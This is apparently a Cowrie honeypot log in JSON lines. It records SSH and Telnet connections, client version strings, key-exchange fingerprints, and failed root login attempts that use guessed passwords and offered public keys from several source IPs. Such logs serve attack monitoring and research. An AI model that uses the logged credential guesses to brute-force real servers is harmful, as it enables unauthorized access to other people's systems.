{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:32.120140Z","src_ip":"119.28.115.94","session":"320a2ef2b09e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:32.365911Z","src_ip":"119.28.115.94","session":"320a2ef2b09e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghj","message":"login attempt [root/asdfghj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:33.379787Z","src_ip":"119.28.115.94","session":"320a2ef2b09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.95244550704956,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:33.411098Z","src_ip":"152.42.224.71","session":"90d76b93523b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:34.634267Z","src_ip":"119.28.115.94","session":"320a2ef2b09e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":58726,"dst_ip":"10.17.0.5","dst_port":22,"session":"80eb3190333d","protocol":"ssh","message":"New connection: 167.114.156.169:58726 (10.17.0.5:22) [session: 80eb3190333d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:36.844011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:36.849116Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:36.872620Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:72:1d:b2:9f:d7:c5:84:c7:0c:dd:7a:72:c6:e6:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAummso9N5u5F0n9M1OAayZkdlO9a/6z7jHNAsEVhLUjDOUNyKhQEZPHKAfzRejjsrBQGUKtBiIGQY2GIgv/M4hAOcTqTMHLA/LrMCzApEC5/vRzfWXtXHMLC/BfSvhv3eMB6g7n7QsJZTBTKt4ksbtZE1qkEhG8bOCBS5NGHOzp8+yZNGjkzCrD+0NjpuHxDyRF5MMNeoJYISPp4bOgzkPWOHadbZOoDQpzBUaPgVSE5yO/tjBcHKSiH+Ps0v1s77rSQIj4Z03Bhsgx1kIc//Oht2MOCln0CXMBFScAMZmnzVMmPrG/ZgMlo88P7NKSdWwgJL14B9NdQS5mIiSpRD+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:72:1d:b2:9f:d7:c5:84:c7:0c:dd:7a:72:c6:e6:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:36.951464Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:72:1d:b2:9f:d7:c5:84:c7:0c:dd:7a:72:c6:e6:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAummso9N5u5F0n9M1OAayZkdlO9a/6z7jHNAsEVhLUjDOUNyKhQEZPHKAfzRejjsrBQGUKtBiIGQY2GIgv/M4hAOcTqTMHLA/LrMCzApEC5/vRzfWXtXHMLC/BfSvhv3eMB6g7n7QsJZTBTKt4ksbtZE1qkEhG8bOCBS5NGHOzp8+yZNGjkzCrD+0NjpuHxDyRF5MMNeoJYISPp4bOgzkPWOHadbZOoDQpzBUaPgVSE5yO/tjBcHKSiH+Ps0v1s77rSQIj4Z03Bhsgx1kIc//Oht2MOCln0CXMBFScAMZmnzVMmPrG/ZgMlo88P7NKSdWwgJL14B9NdQS5mIiSpRD+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:36.955465Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:87:62:33:c6:0a:af:2c:97:d3:a4:f3:d6:a6:ca:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpFFaxxXByL6XGbn9t2Wz14jwBWC3MfFTOTIb4M2/pVQLqTfWQgVc9IaChT3SlHGTuZC0VRCA1oHIORBry6ENKzmQpUrXfmRLQq7Wvsv6ltz1FUC8grEGQ8TWg8RN8A9ZLN+S/NBZjgJiLaZjNAr8NJtCMhfU0W+1+9ZK+bkzdXjRGpRWQy2T9Iane5t5MEHIv3iDs2YAjVSGsRh62oSkigAr3Hr4QzOxDmHs+sSvFE1+2OrEqwOdWcTI4BuPJB87fpK1fgdA5WuO2v2ZaBpidBMLRltm5/LXUJKJhRIRPDnw/yC+fSz39jCVTtTGANdSTMW4wGeXQVHhwAkhD2p3R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:87:62:33:c6:0a:af:2c:97:d3:a4:f3:d6:a6:ca:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:36.977512Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:87:62:33:c6:0a:af:2c:97:d3:a4:f3:d6:a6:ca:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpFFaxxXByL6XGbn9t2Wz14jwBWC3MfFTOTIb4M2/pVQLqTfWQgVc9IaChT3SlHGTuZC0VRCA1oHIORBry6ENKzmQpUrXfmRLQq7Wvsv6ltz1FUC8grEGQ8TWg8RN8A9ZLN+S/NBZjgJiLaZjNAr8NJtCMhfU0W+1+9ZK+bkzdXjRGpRWQy2T9Iane5t5MEHIv3iDs2YAjVSGsRh62oSkigAr3Hr4QzOxDmHs+sSvFE1+2OrEqwOdWcTI4BuPJB87fpK1fgdA5WuO2v2ZaBpidBMLRltm5/LXUJKJhRIRPDnw/yC+fSz39jCVTtTGANdSTMW4wGeXQVHhwAkhD2p3R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:36.981709Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:62:47:5c:d2:17:9b:bc:eb:e9:0c:86:ad:c0:a7:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFpP7Zg/E69+YO/eCaTtCWvlbpLK7O6fxKYJGzet5hayDzw7xye3SFo67iJjRfEFu7z747oh5LYhZRlJImIS8AZ94wxtr528M/0a80GO6oYHjZy6dUDkNSSuUA4lcJ5qp6TNFXAnt5G4buoe7TxcZe6fhenybbzkgXLHs5w99tnRlBioUGma03WyFtduR3sZOwmJ4DbXlGn0aTIXnGTPq8oUtFuv2BsSS2afyoASz9KRivlbB+ib57w4ztJXRPf6bUHuJOhSG2EyT06MpkqsG1ubzsvM4XknL47Rt5wWdcGYfb60TltWqQrnhlpf7pbFfqwzoPxDwdRLDrj70Gsxsc/0RWgWKO7MUisHd9CPLerMdmgBEi7X7m/aqMCLZH/HTdXke0iZm8lox09fWWCB9AMA0AR1oxc4PdnUhMLlB9LLeXALZbzsTHfVnlhZe55TxJjURZxJ0LFegcey1CSzHIBMRJyzWFRjWHmCtVOjmEk6vj4q5iK+TeSkVykrW1pZgpnFlFBxhJBGmACQMDwebgTmcV6hZuR0Fw0ds5DqTd0WcrPhkxngaRyVUXp8teps3M5T7QsxAxxkuZRAM+WejidIKhumXAs8Jllxy9jXLXnnO2HTxe5sTY5sIyAPp/Cz1Uwz0n1N8JulcQPMz/xNnYjLJvheZXsQB6SRw6NIao6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:62:47:5c:d2:17:9b:bc:eb:e9:0c:86:ad:c0:a7:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:37.003756Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:62:47:5c:d2:17:9b:bc:eb:e9:0c:86:ad:c0:a7:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFpP7Zg/E69+YO/eCaTtCWvlbpLK7O6fxKYJGzet5hayDzw7xye3SFo67iJjRfEFu7z747oh5LYhZRlJImIS8AZ94wxtr528M/0a80GO6oYHjZy6dUDkNSSuUA4lcJ5qp6TNFXAnt5G4buoe7TxcZe6fhenybbzkgXLHs5w99tnRlBioUGma03WyFtduR3sZOwmJ4DbXlGn0aTIXnGTPq8oUtFuv2BsSS2afyoASz9KRivlbB+ib57w4ztJXRPf6bUHuJOhSG2EyT06MpkqsG1ubzsvM4XknL47Rt5wWdcGYfb60TltWqQrnhlpf7pbFfqwzoPxDwdRLDrj70Gsxsc/0RWgWKO7MUisHd9CPLerMdmgBEi7X7m/aqMCLZH/HTdXke0iZm8lox09fWWCB9AMA0AR1oxc4PdnUhMLlB9LLeXALZbzsTHfVnlhZe55TxJjURZxJ0LFegcey1CSzHIBMRJyzWFRjWHmCtVOjmEk6vj4q5iK+TeSkVykrW1pZgpnFlFBxhJBGmACQMDwebgTmcV6hZuR0Fw0ds5DqTd0WcrPhkxngaRyVUXp8teps3M5T7QsxAxxkuZRAM+WejidIKhumXAs8Jllxy9jXLXnnO2HTxe5sTY5sIyAPp/Cz1Uwz0n1N8JulcQPMz/xNnYjLJvheZXsQB6SRw6NIao6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:37.008325Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:0c:5f:dd:07:69:3a:09:f3:cf:a7:56:4f:0c:fc:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2nMpAYwfq4VC5FIcC6xJrZ2PK26S4Cere2oOrCEN81xKIMhsCrtDPPfn6mIkTYC014X9c1polkEChimF+is3sM/KEHXYBFd366fIKoamdo20cOvcrdCrpxMEjYx5TuepYCugIhwCB0q4gBKuBCGkBWp21DIE9KNn0F/ba9kKaldkNs+zBrZqP1VYv0XBv13VEMxt1rArPi0SBU0DCqmHUjCALWuaSwPznIOH4HZAubt+u5WGqgsBZdC7eLL2eZNxj/OlJjFfuYD/HZ6AyOXiMuFlp/O/R/52/ISOY1UlICaSQWHBfGe9UIrZeeAT4VzOcEZ+ut1f2ZMigdSM/DhUNfCvoCsiROZPJ7XhSu3I10BjICiDZpgJ782Nhd9iCYfgy9DeiepVo1D6aBLcyt1aCOK9RrEMao3OWe+qIUFRDU7HLu0nBJCz0UaVCB/xdqIF/Wii7DQH6v8vBZLuCfvR93J4o8oH1/RFzVQM9nIYuqSil1BdpLFDB54vsVUV1lUJQa8Qrk7Y6JL7BXd2sLivaxfPy9wCf6VlNgQBktnD7ShoKella1W8UBH+V7FIur1Rp+ZOnIX3UhJ4KuLLPnAE5aYcjmT85Ewt+DF52VfL9/9Ro8wup9iEjwE8PdPWQNBo33WX5pzGSBLmce/J4ub1/zK2Nhx781mZYVBjUTR5DHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:0c:5f:dd:07:69:3a:09:f3:cf:a7:56:4f:0c:fc:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:37.031547Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:0c:5f:dd:07:69:3a:09:f3:cf:a7:56:4f:0c:fc:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2nMpAYwfq4VC5FIcC6xJrZ2PK26S4Cere2oOrCEN81xKIMhsCrtDPPfn6mIkTYC014X9c1polkEChimF+is3sM/KEHXYBFd366fIKoamdo20cOvcrdCrpxMEjYx5TuepYCugIhwCB0q4gBKuBCGkBWp21DIE9KNn0F/ba9kKaldkNs+zBrZqP1VYv0XBv13VEMxt1rArPi0SBU0DCqmHUjCALWuaSwPznIOH4HZAubt+u5WGqgsBZdC7eLL2eZNxj/OlJjFfuYD/HZ6AyOXiMuFlp/O/R/52/ISOY1UlICaSQWHBfGe9UIrZeeAT4VzOcEZ+ut1f2ZMigdSM/DhUNfCvoCsiROZPJ7XhSu3I10BjICiDZpgJ782Nhd9iCYfgy9DeiepVo1D6aBLcyt1aCOK9RrEMao3OWe+qIUFRDU7HLu0nBJCz0UaVCB/xdqIF/Wii7DQH6v8vBZLuCfvR93J4o8oH1/RFzVQM9nIYuqSil1BdpLFDB54vsVUV1lUJQa8Qrk7Y6JL7BXd2sLivaxfPy9wCf6VlNgQBktnD7ShoKella1W8UBH+V7FIur1Rp+ZOnIX3UhJ4KuLLPnAE5aYcjmT85Ewt+DF52VfL9/9Ro8wup9iEjwE8PdPWQNBo33WX5pzGSBLmce/J4ub1/zK2Nhx781mZYVBjUTR5DHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:37.036190Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:41:1b:60:93:79:ea:1e:04:bf:7e:ed:be:6e:8d:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqZhgVUOh8dPi5mmDqudHqi+oiTG0XUaHGBpZ+9Iv3MJL2zqlRFjsRAzVgBfqRb67ItFPwyetnQbjxiNZLj/QAb/JFqwGHi7e5Do1pNOtgezAaBU0JuPPG369V2dOKu9ehfzAiiepMhNwvW6PpPYs9NmV5E0CHBzVQBvyv4uLypA2wd2jaFTrzry4Hpm6rVWZTfFo8tXXslPtT0PIAej7Nuf/bXQlqsfYf5gNQFuqYEaFTExy6MMjAHg67GWDG7amHgrLJaDAwIfNJCK0C2f4EHf9/nI563y/0Omp9577bCv4VvCWmhzvtZIDv+3nvoq6te3YKfVB9bIWObvkob/CMJHDifHWsu42CEIQIo6xk5uM03R2+RewJkL6lPSderHI1G8I9I/w7H349AlilrU+rAtJCxO5IBnV1qtgZZQdGaGnEF03kwq4st8Lx+OiwvsVjKOGFurCwODbZ3nPEemZ4NXpw89tWFQOkI2tNsTxLDunF9iyjbqUjkemG4sXMfQm4zwptcxgiuWR/sBF4EHUXRDIxaHh3GPmzlvmCs8Ew3OGojBaTZ+lESsHSoiT4PV9fQ3Ub2so8ImZmUlGiGBk4dmdfGPZkdyDA1A63Np2NFjrPDhqWpQyU/jqjmP7AkTpeCuPMz8gcnvENf4ukT711WlqK0MkXaq52pnTbKyaKGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:41:1b:60:93:79:ea:1e:04:bf:7e:ed:be:6e:8d:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:37.058351Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:41:1b:60:93:79:ea:1e:04:bf:7e:ed:be:6e:8d:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqZhgVUOh8dPi5mmDqudHqi+oiTG0XUaHGBpZ+9Iv3MJL2zqlRFjsRAzVgBfqRb67ItFPwyetnQbjxiNZLj/QAb/JFqwGHi7e5Do1pNOtgezAaBU0JuPPG369V2dOKu9ehfzAiiepMhNwvW6PpPYs9NmV5E0CHBzVQBvyv4uLypA2wd2jaFTrzry4Hpm6rVWZTfFo8tXXslPtT0PIAej7Nuf/bXQlqsfYf5gNQFuqYEaFTExy6MMjAHg67GWDG7amHgrLJaDAwIfNJCK0C2f4EHf9/nI563y/0Omp9577bCv4VvCWmhzvtZIDv+3nvoq6te3YKfVB9bIWObvkob/CMJHDifHWsu42CEIQIo6xk5uM03R2+RewJkL6lPSderHI1G8I9I/w7H349AlilrU+rAtJCxO5IBnV1qtgZZQdGaGnEF03kwq4st8Lx+OiwvsVjKOGFurCwODbZ3nPEemZ4NXpw89tWFQOkI2tNsTxLDunF9iyjbqUjkemG4sXMfQm4zwptcxgiuWR/sBF4EHUXRDIxaHh3GPmzlvmCs8Ew3OGojBaTZ+lESsHSoiT4PV9fQ3Ub2so8ImZmUlGiGBk4dmdfGPZkdyDA1A63Np2NFjrPDhqWpQyU/jqjmP7AkTpeCuPMz8gcnvENf4ukT711WlqK0MkXaq52pnTbKyaKGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:37.062232Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:37.083230Z","src_ip":"167.114.156.169","session":"80eb3190333d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50276,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad0f7641da8d","protocol":"telnet","message":"New connection: 152.42.224.71:50276 (10.17.0.5:23) [session: ad0f7641da8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:38.199254Z"}
{"eventid":"cowrie.session.closed","duration":36.662155866622925,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:40.381023Z","src_ip":"152.42.224.71","session":"1172f81f5b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.53798222541809,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:40.505658Z","src_ip":"152.42.224.71","session":"2aa0018cd645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56606,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4be77b09396","protocol":"ssh","message":"New connection: 185.236.22.41:56606 (159.203.135.109:22) [session: f4be77b09396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:42.166456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:42.171340Z","src_ip":"185.236.22.41","session":"f4be77b09396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50286,"dst_ip":"10.17.0.5","dst_port":23,"session":"24284df133d1","protocol":"telnet","message":"New connection: 152.42.224.71:50286 (10.17.0.5:23) [session: 24284df133d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:42.232826Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:42.283544Z","src_ip":"185.236.22.41","session":"f4be77b09396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1997","message":"login attempt [root/dima1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:42.629829Z","src_ip":"185.236.22.41","session":"f4be77b09396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:43.750512Z","src_ip":"185.236.22.41","session":"f4be77b09396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50288,"dst_ip":"10.17.0.5","dst_port":23,"session":"d64ad1445e9f","protocol":"telnet","message":"New connection: 152.42.224.71:50288 (10.17.0.5:23) [session: d64ad1445e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:44.471605Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50292,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea3dce77831","protocol":"telnet","message":"New connection: 152.42.224.71:50292 (10.17.0.5:23) [session: 6ea3dce77831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:44.826460Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":46926,"dst_ip":"159.203.135.109","dst_port":22,"session":"05df24529523","protocol":"ssh","message":"New connection: 62.133.62.83:46926 (159.203.135.109:22) [session: 05df24529523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:45.095170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:45.100046Z","src_ip":"62.133.62.83","session":"05df24529523","protocol":"ssh"}
